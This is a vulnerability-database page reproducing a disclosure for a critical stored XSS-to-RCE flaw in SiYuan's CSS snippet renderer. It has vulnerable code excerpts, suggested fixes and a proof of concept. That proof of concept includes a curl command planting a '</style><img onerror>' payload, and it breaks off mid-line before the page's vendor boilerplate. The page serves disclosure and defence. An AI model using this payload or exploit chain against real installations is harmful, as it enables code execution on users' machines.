🛡️ CVE-2026-54067 — kernel

🔴 CVSS 9.9 — Critical ✅ No Known Exploit CWE-1188 NVD
9.9
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

SiYuan: Stored XSS to RCE via CSS-snippet <style> breakout in renderSnippet()

Summary

A CSS snippet body containing </style> breaks out of its surrounding <style> tag when renderSnippet() interpolates it via insertAdjacentHTML. A payload like </style><img src=x onerror="..."> runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with nodeIntegration:true, so require('child_process') is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.

The bug also bypasses the user's enabledCSS / enabledJS separation. A user who turned enabledJS off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.

Details

Affected:

  • HEAD 96dfe0b (v3.6.5, 2026-04-21)
  • Sink: app/src/config/util/snippets.ts:32
  • Source: /api/snippet/getSnippet, backed by data/snippets/conf.json
  • Default config: EnabledCSS: true, EnabledJS: true at kernel/conf/snippet.go:26-27
  • Electron config: nodeIntegration:true, contextIsolation:false, webSecurity:false on every BrowserWindow in app/electron/main.js:307,408-411,1107-1110,1150-1153,1322

The write path stores raw content. kernel/api/snippet.go:107-130 copies Content from the request straight into the snippet record with no HTML escape, no </style> check, no type-specific validation:

```go

snippet := &conf.Snippet{

ID: m["id"].(string),

Name: m["name"].(string),

Type: m["type"].(string),

Content: m["content"].(string),

Enabled: m["enabled"].(bool),

}

```

Storage is workspace-internal and syncs. kernel/model/repository.go:1748,1798 reference data/snippets/conf.json, so the malicious record propagates to every sync peer.

The renderer reads the snippet back through /api/snippet/getSnippet and interpolates it into a <style> tag, raw. app/src/config/util/snippets.ts:32, called on app boot and on the reloadSnippet WebSocket event:

```ts

fetchPost("/api/snippet/getSnippet", {type: "all", enabled: 2}, (response) => {

response.data.snippets.forEach((item: ISnippet) => {

const id = snippet${item.type === "css" ? "CSS" : "JS"}${item.id};

if (item.type === "css") {

document.head.insertAdjacentHTML("beforeend", <style id="${id}">${item.content}</style>);

} else if (item.type === "js") {

// intentional script-loading path

}

});

});

```

${item.content} lands inside the <style> tag. The HTML parser closes the style on the first </style> substring and treats anything after as a sibling of the empty <style> element.

Worth noting: the JS branch right after the CSS one already does the safe thing. It uses document.createElement("script") and sets el.text = item.content. That's a text-node assignment, no HTML parsing. The CSS branch just doesn't use the equivalent on a <style> element, and that's the bug.

Suggested fix

The cleanest fix mirrors what the JS branch already does. Build the element with createElement and set textContent:

```ts

if (item.type === "css") {

const el = document.createElement("style");

el.id = id;

el.textContent = item.content;

document.head.appendChild(el);

}

```

textContent on a <style> element populates the CSS rules without invoking the HTML parser, so </style> in the body is a 4-character text node instead of a close tag.

If touching that line is undesirable, the smaller patch is to escape < before interpolation:

```ts

const safe = item.content.replace(/[&<]/g, c => c === "&" ? "&" : "<");

document.head.insertAdjacentHTML("beforeend", <style id="${id}">${safe}</style>);

```

Either fix on its own closes the bug. Worth also rejecting </style> on the setSnippet backend handler so older renderers pulling the same synced workspace stay safe.

PoC

Stand up SiYuan:

```bash

docker run -d --name siyuan-poc \

-v ./workspace:/siyuan/workspace \

-p 16806:6806 \

b3log/siyuan:latest \

--workspace=/siyuan/workspace --accessAuthCode=hunter2

```

Plant the snippet:

```bash

TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)

curl -X POST http://localhost:16806/api/snippet/setSnippet \

-H "Content-Type: application/json" \

-H "Authorization: Token $TOKEN" \

-d '{"snippets":[{"id":"","name":"poc","type":"css","enabled":true,"content":"</style><img src=x onerror=\"document.title=\\\"SIYUAN_XSS\\\";window.__siyuan_xss=true\">"}]}'

```

Returns {"code":0,"msg":"","data":null}. The snippet now sits at workspace/data/snippets/conf.json verbatim.

Open http://localhost:16806/stage/build/desktop/?r=1 or the Electron app pointing at the same workspace, authenticate, and run in DevTools:

```js

({

markerFired: window.__siyuan_xss === true,

styleCount: document.querySelectorAll('style[id^="snippetCSS"]').length,

imgsInHead: document.h

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2026-54067 is classified as CWE-1188: Insecure Default Initialization of Resource. Default settings are insecure, so an installation is exposed until someone changes them.

Affected software

CVE-2026-54067 is recorded against 2 packages.

  • github.com/siyuan-note/siyuan/kernel
  • unknown

Timeline and source

Published on 10 July 2026 and last revised on 21 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)

Details

Severity CRITICAL
CVSS Score 9.9
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE CWE-1188
Public Exploit ✅ No
Source NVD
Published 2026-07-10
Updated 2026-08-12
Modified 2026-07-21
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/siyuan-note/siyuan/kernel
unknown

Similar Threats

Exploit Protection

Are you running kernel?

CVE-2026-54067 carries CVSS 9.9 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-54067 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.